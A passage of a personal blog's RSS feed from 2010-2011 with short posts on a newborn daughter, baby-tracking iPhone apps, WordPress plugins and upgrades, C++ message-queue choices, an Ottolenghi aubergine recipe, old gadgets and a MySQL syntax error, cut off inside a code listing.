      <description>&lt;p&gt;Yo mama is so ugly that when she walks in the kitchen, the rats jump on the table and start screaming.&lt;/p&gt;
&lt;p&gt;Perhaps, I should revive my Yo Mama jokes, no? :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What Baby App?</title>
      <link>/post/2011/01/what-baby-app/</link>
      <pubDate>Wed, 12 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/what-baby-app/</guid>
      <description>&lt;p&gt;Any suggestions for any a good iPhone App for tracking Baby feeds, sleeping, pumping, etc. that the wife can use?&lt;/p&gt;
&lt;p&gt;Below is a list of what I was able to find online; some of these on reading the reviews seem better than others but no one specifically stood out. Anyone with &lt;em&gt;real world&lt;/em&gt; experience?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.babybrainapp.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Baby Brain
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.umzing.com/baby_tracker.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Baby Tracker
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://peedoodle.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PeeDoodle
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.babybix.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		BabyBix
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://itunes.apple.com/us/app/baby-connect-track-log-share/id326574411?mt=8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Baby Connect
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.andesigned.net/totalbaby.htm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Total baby
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As of now, we are leaning towards Total Baby.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>And then there were three</title>
      <link>/post/2011/01/and-then-there-were-three/</link>
      <pubDate>Mon, 10 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/and-then-there-were-three/</guid>
      <description>&lt;p&gt;Those who don&amp;rsquo;t know, I and Meenakshi are the proud parents if our baby girl who we have named &lt;strong&gt;Maya Bahree&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Maya means illusion (and not money as some have thought).&lt;/p&gt;
&lt;p&gt;She is a keen and eager little thing who despite being a few weeks early is doing extremely well and so is Mum.&lt;/p&gt;
&lt;p&gt;We had to stay back at the hospital until the doctors were satisfied that Maya was doing well. Git back home about 2 data ago.&lt;/p&gt;
&lt;p&gt;I do feel sorry for her, having gotten stuck with two clueless parents who she has to depend on for everything.&lt;/p&gt;
&lt;p&gt;Still learning to deal with the sleepnessless (is that a word?). 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting WordPress Plugins</title>
      <link>/post/2011/01/interesting-wordpress-plugins/</link>
      <pubDate>Tue, 04 Jan 2011 00:00:00 +0000</pubDate>
      
      <guid>/post/2011/01/interesting-wordpress-plugins/</guid>
      <description>&lt;p&gt;After upgrading to the latest WordPress (v3.0.4), I also decided to have a look at the various plugins I am running. As part of that I stumbled across &lt;a
	
		href = &#34;http://wphacks.com/wordpress-plugins/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ultimate Collection of WordPress plugins
	&lt;/span&gt;
&lt;/a&gt;which are very interesting. If you run WordPress (and if you don&amp;rsquo;t, why not :)), I would highly recommend to check them out. I already was running some of these and not heard of others which are great.&lt;/p&gt;
&lt;p&gt;Here are some of my favourite ones (in no particular order) and those with keen eyes would notice a few of these already.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt; AddToAny: Share/Bookmark/Email Button - Help people share, bookmark, and email your posts &amp;amp; pages using any service, such as Facebook, Twitter, Google Buzz, Digg, etc.&lt;/li&gt;
&lt;li&gt;Akismet - this is for comment spam control and is used by millions! Excellent!&lt;/li&gt;
&lt;li&gt;WP FollowMe - allows you to add a twitter Follow me badge on your wordpress blog.&lt;/li&gt;
&lt;li&gt;Google Analyticator - name says it all I think.&lt;/li&gt;
&lt;li&gt;Google XML Sitemaps - same as above.&lt;/li&gt;
&lt;li&gt;Lightbox 2 - Used to overlay images on the current page.&lt;/li&gt;
&lt;li&gt;My Page Order - allows you to set the order of pages through a drag and drop interface.&lt;/li&gt;
&lt;li&gt;Really Simple CAPTCHA - CAPTCHA module intended to be called from other plugins; really works too!&lt;/li&gt;
&lt;li&gt;Search Everything - Adds search functionality and includes search highlight, search pages, excerpts, attachments, drafts, comments, tags and custom fields (metadata). It can also exclude specific pages and posts. It does not search password-protected content.&lt;/li&gt;
&lt;li&gt;Shockingly Big IE6 Warning - doesn&amp;rsquo;t the name say it all?&lt;/li&gt;
&lt;li&gt;Simple Tags - Excellent plugins, to manage your tags. Includes, suggested Tags, Mass edit tags, Autocompletion, Tag Cloud Widgets, Related Posts, Related Tags, etc&lt;/li&gt;
&lt;li&gt;StatPress Reloaded - real time stats for the blog&lt;/li&gt;
&lt;li&gt;SyntaxHighlighter Evolved - code to your site without having to modify the code at all; you cannot use the Visual editor with this.&lt;/li&gt;
&lt;li&gt;TinyMCE Advanced - Enables advanced features and plugins for the visual editor&lt;/li&gt;
&lt;li&gt;Twitter for Wordpress - displays your last few tweets&lt;/li&gt;
&lt;li&gt;WP-Cumulus - Flash based Tag Cloud for WordPress&lt;/li&gt;
&lt;li&gt;WP-DBManager - Excellent plugin, that manages your Wordpress including optimize database, repair database, backup database, restore database, etc. I use to exclusively for the automatic scheduling of backing up and optimizing of the database.&lt;/li&gt;
&lt;li&gt;WP-SmugMug - I use &lt;a
	
		href = &#34;https://secure.smugmug.com/signup.mg?Coupon=QqwiODpDFZIiY&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SmugMug for my photos online
	&lt;/span&gt;
&lt;/a&gt;; this plugin integrates the &lt;a
	
		href = &#34;https://secure.smugmug.com/signup.mg?Coupon=QqwiODpDFZIiY&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SmugMug galleries
	&lt;/span&gt;
&lt;/a&gt; into the blog.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I would highly recommend the above and suggest you play with them. &lt;/p&gt;
&lt;p&gt;These plugins I have only recently installed and they seem interesting, but I have not used them enough to have the confidence to highly recommend them - yet.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wordpress Backup (by BTE) - Backup the upload directory (images), current theme directory, and plugins directory to a zip file. I have only recently installed this plugin, and not used it enough to say how useful it is at this point.&lt;/li&gt;
&lt;li&gt;Automatic WordPress Backup - Automatically upload backups of important parts of your blog to Amazon S3. I am a huge S3 fan, and this seems very promising. Hopefully I can come back in a few days and weeks and blog about it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, when using plugins I would recommend the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Search and install from these via the &amp;ldquo;Plugins&amp;rdquo; menu which you see when log into your WordPress dashboard. Don&amp;rsquo;t download the code manually and then try and upload it to your site. That is a more painful process.&lt;/li&gt;
&lt;li&gt;Try and have a test blog running - seperately from your main blog where you can test different permutations and configurations. In case something goes wrong, you won&amp;rsquo;t have your main blog go down. Of course needless to say, you should keep both your test and main blog on the same version.&lt;/li&gt;
&lt;li&gt;It is not a good idea to install all of the plugin&amp;rsquo;s all at the same time as you never never &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2010/12/25/upgrading-to-wordpress-3-0-3/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		which plugin can cause conflict with another
	&lt;/span&gt;
&lt;/a&gt;. Well, you can install all the plugins at the same time, just activate them one at a time and test that your blog is still running as expected after you have activated each plugin.&lt;/li&gt;
&lt;li&gt;Before you upgrade the version of WordPress - irrespective of how big or small the upgrade is always backup your database and files first. This would allow you to revert back to a &amp;ldquo;clean slate&amp;rdquo; in case something goes wrong.&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>C&#43;&#43; Message queuing options?</title>
      <link>/post/2010/12/c-message-queuing-options/</link>
      <pubDate>Wed, 29 Dec 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/12/c-message-queuing-options/</guid>
      <description>&lt;p&gt;I am thinking of implementing a queue in one of the projects I am working on right now (sorry cannot go into more details until it gets published - hopefully in a few months). Anywyas, this is in C++ which needs to run on Ubuntu and my queueing experience (with C++ or otherwise) is only with &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/library/ms711472%28VS.85%29.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MSMQ
	&lt;/span&gt;
&lt;/a&gt; which is brilliant, but does not help me here as that run only on Windows. I also cannot use something like &lt;a
	
		href = &#34;http://www.cplusplus.com/reference/stl/queue/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		STL Queue
	&lt;/span&gt;
&lt;/a&gt; as this will need to run across a number of machines and trying to sync between them would a royal pain. In other words, this needs to be distributed and async &amp;ldquo;loose&amp;rdquo; messaging. :-)&lt;/p&gt;
&lt;p&gt;I am already using &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2010/11/06/moos/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MOOS
	&lt;/span&gt;
&lt;/a&gt;, so one option is for me to continue to use that - however this is for another part of the application and it &lt;em&gt;might&lt;/em&gt; be easier for me to use something else (still need to think it through a little more).&lt;/p&gt;
&lt;p&gt;These are the requirements (these are must haves!). Also if it makes a difference I am using &lt;a
	
		href = &#34;http://eclipse.org/cdt/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CDT
	&lt;/span&gt;
&lt;/a&gt; for this project.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Needs to be able to run on Ubuntu 9.04 (and higher)&lt;/li&gt;
&lt;li&gt;Needs to be Open Source (cannot be commercial)&lt;/li&gt;
&lt;li&gt;Needs to be able to store messages &amp;ldquo;offline&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Needs to be able to run on TCP with minimal dependencies. It would be nice not to have a whole bunch of underlying dependencies.&lt;/li&gt;
&lt;li&gt;Preferably be easy to use (as a consumer) - I don&amp;rsquo;t have much time to read through loads of documentation just to get my head around the underlying object model and how to use it.&lt;/li&gt;
&lt;li&gt;C++ support (if it was not obvious until now)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I did a little research online and came across the following, and wanted to get some feedback:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://activemq.apache.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		ActiveMQ
	&lt;/span&gt;
&lt;/a&gt; - seems like it has good C++ support via &lt;a
	
		href = &#34;http://activemq.apache.org/cms/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CMS
	&lt;/span&gt;
&lt;/a&gt; (C++ Messaging Service).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://aws.amazon.com/sqs/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Amazon SQS
	&lt;/span&gt;
&lt;/a&gt; -  not sure how good the C++ support is. If there is no library per se that I can use, then writing things around REST APIs might be more painful. Also I suddenly have a dependency to be able to go to the public internet. Also it is not free (though there is a free 100K messages / month).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;Amateurish&#34;
	

	

	&gt;
	
	&lt;span&gt;
		MQ4CPP
	&lt;/span&gt;
&lt;/a&gt; - seems quite amateurish (kudos to the guy writing it though - seems like an interesting project to pick up when once has time).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.rabbitmq.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		RabbitMQ
	&lt;/span&gt;
&lt;/a&gt; - I know some guys used this at work (though that was using it in .NET); nothing for C++, but there &lt;a
	
		href = &#34;http://www.rabbitmq.com/download-ex.html#rabbitmq-c&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		some C experimental code
	&lt;/span&gt;
&lt;/a&gt;; overall does not inspire confidence (in the context of C++).&lt;/li&gt;
&lt;li&gt;OpenAMQ - seems quite interesting and also has a &lt;a
	
		href = &#34;http://www.openamq.org/doc:prog-wireapi&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		C++ API
	&lt;/span&gt;
&lt;/a&gt; based on its WireAPI.&lt;/li&gt;
&lt;li&gt;Anything else??&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At face value it seems like this is down to ActiveMQ and OpenAMQ. Just looking at the quick samples between the two ActiveMQ seems like more &lt;a
	
		href = &#34;http://activemq.apache.org/cms/example.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		C++ friendly
	&lt;/span&gt;
&lt;/a&gt; and easier to use &lt;a
	
		href = &#34;http://www.openamq.org/doc:prog-wireapi&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		compared to OpenAMQ
	&lt;/span&gt;
&lt;/a&gt;. Of course this is just the first impression and I could be completely wrong - it is not like I have had a chance to play with this (yet anyways).&lt;/p&gt;
&lt;p&gt;Does anyone have any experience and feedback on this matter? Feel free to comment on this post, or tweet me.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Aubergine with herbs</title>
      <link>/post/2010/12/aubergine-with-herbs/</link>
      <pubDate>Sun, 26 Dec 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/12/aubergine-with-herbs/</guid>
      <description>&lt;p&gt;This is Ottolenghi&amp;rsquo;s recipe as it was &lt;a
	
		href = &#34;http://www.guardian.co.uk/lifeandstyle/2010/oct/23/aubergine-with-herbs-recipe-ottolenghi&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		published in the Guardian
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ingredients:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aubergines (about 1.2 kgs)&lt;/li&gt;
&lt;li&gt;Salt (1 teaspoon)&lt;/li&gt;
&lt;li&gt;Freshly ground black pepper (1 pinch)&lt;/li&gt;
&lt;li&gt;Sunflower Oil (120 ml)&lt;/li&gt;
&lt;li&gt;Olive Oil (100 ml)&lt;/li&gt;
&lt;li&gt;Medium-hot Green Chillies (2, thinly sliced)&lt;/li&gt;
&lt;li&gt;Garlic (10 cloves, thinly sliced)&lt;/li&gt;
&lt;li&gt;White-wine Vinegar (1½ tablespoon)&lt;/li&gt;
&lt;li&gt;Basil (20 gm, shredded)&lt;/li&gt;
&lt;li&gt;Coriander (20 gm)&lt;/li&gt;
&lt;li&gt;Mint (20 gm)&lt;/li&gt;
&lt;li&gt;Dill (20 gm)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Steps to cook the aubergines:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Heat the oven to 210C/410F/gas mark 6½.&lt;/li&gt;
&lt;li&gt;Cut the aubergines into roughly 3cm squarish chunks.&lt;/li&gt;
&lt;li&gt;Put in a large mixing bowl and add the salt, some black pepper, sunflower oil and most of the olive oil (save about 3 tbsp for frying the chilli and garlic).&lt;/li&gt;
&lt;li&gt;Toss and spread over two large baking sheets lined with non-stick baking parchment.&lt;/li&gt;
&lt;li&gt;Roast for about 30 minutes – it&amp;rsquo;s important that the aubergines turn a good golden-brown colour.&lt;/li&gt;
&lt;li&gt;Remove from the oven and leave to cool down.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;While the aubergines are cooking:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Heat the reserved olive oil in a small saucepan and fry the chilli and garlic for about a minute, until the garlic turns a pale golden – watch out that you don&amp;rsquo;t cook it further, or it may burn and go bitter.&lt;/li&gt;
&lt;li&gt;Transfer the chilli, garlic and oil to a large mixing bowl and add the cooked aubergine.&lt;/li&gt;
&lt;li&gt;Add the vinegar and herbs, mix, taste and adjust the seasoning as necessary.&lt;/li&gt;
&lt;li&gt;Serve warm or at room temperature.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Changed Themes</title>
      <link>/post/2010/12/changed-themes/</link>
      <pubDate>Sun, 26 Dec 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/12/changed-themes/</guid>
      <description>&lt;p&gt;Was getting a little bored with the previous WP theme  and changed to this one. It does have a lot of defaults in the footer and not had a chance to figure out how to turn it off or customize it. If anyone has any ideas on how to do it then let me know. Also, if you have any suggestions for free and cool WP themes then let me know.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Blast from the Past</title>
      <link>/post/2010/12/blast-from-the-past/</link>
      <pubDate>Sat, 25 Dec 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/12/blast-from-the-past/</guid>
      <description>&lt;p&gt;We were cleaning up the house - sort of like spring cleaning, except in Autumn and in old boxes came across a whole bunch of old stuff, which for me was a blast from the past and each with fond memories. Before I recycled/donated/threw it, took a few photos (click on them to see them in the original size).&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136184228_nAPfj-Th.jpg&#34; alt=&#34;Numega debugger&#34;/&gt;
        &lt;figcaption&gt;Compuware, the best debuggers in town.&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136184714_Vrtvq-Th.jpg&#34; alt=&#34;Palm Cradle&#34;/&gt;
        &lt;figcaption&gt;Anyone remember a Palm Vx?&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136184800_vQ4gP-Th.jpg&#34; alt=&#34;Discmans&amp;#39;&#34;/&gt;
        &lt;figcaption&gt;Don&amp;#39;t miss the Joggable one&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136185749_JfiaP-Th.jpg&#34; alt=&#34;Network Adapters&#34;/&gt;
        &lt;figcaption&gt;3Com PCMCIA adapters&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136186107_hK9sq-Th.jpg&#34; alt=&#34;ATL Server&#34;/&gt;
        &lt;figcaption&gt;ATL Server&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136187301_b3Zuu-Th.jpg&#34; alt=&#34;Netgear Print Server&#34;/&gt;
        &lt;figcaption&gt;Netgear Print Server&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136187648_jmoCw-Th.jpg&#34; alt=&#34;Zip drives&#34;/&gt;
        &lt;figcaption&gt;Zip drives&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136188382_wjwzf-Th.jpg&#34; alt=&#34;More zip drives&#34;/&gt;
        &lt;figcaption&gt;More zip drives&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136189308_ppnZm-Th.jpg&#34; alt=&#34;Nokia phone&#34;/&gt;
        &lt;figcaption&gt;Nokia - do they still make phones?&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1136191522_EhzYd-Th.jpg&#34; alt=&#34;Dell Axim&#34;/&gt;
        &lt;figcaption&gt;Dell Axim&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Upgrading to WordPress 3.0.3?</title>
      <link>/post/2010/12/upgrading-to-wordpress-3-0-3/</link>
      <pubDate>Sat, 25 Dec 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/12/upgrading-to-wordpress-3-0-3/</guid>
      <description>&lt;p&gt;The latest version of WordPress 3.0.3 and the Redirection plugin (v 2.2.3) don&amp;rsquo;t play nice together. If you upgraded to the latest version of WordPress the redirection plugin will always show only your last post on your blog&amp;rsquo;s homepage. Until the plugin is fixed, the only way around this is either not to upgrade to the latest version of WordPress (not recommended), or to disable the Redirection plugin.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SQL Syntax Error (with MySQL)</title>
      <link>/post/2010/12/sql-syntax-error-with-mysql/</link>
      <pubDate>Fri, 24 Dec 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/12/sql-syntax-error-with-mysql/</guid>
      <description>&lt;p&gt;Say you are writing a new stored procedure (for MySQL) and when you execute it, you get an error something like shown below - as you probably figured out all it means is that there is a syntax error with in the SQL. Often the error is misleading especially if it is a complicated query. One easy way to help narrow down the issue is to run it in a SQL Console which usually provides a better clue that can be your pointer to fixing the issue.&lt;/p&gt;
&lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near &amp;lsquo;END&amp;rsquo; at line 17 (errno: 1064). Click &amp;lsquo;Ignore&amp;rsquo; if you&amp;rsquo;d like to have this
error ignored until the end of the script.&lt;/p&gt;
&lt;p&gt;If you run this script you will get the above error:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
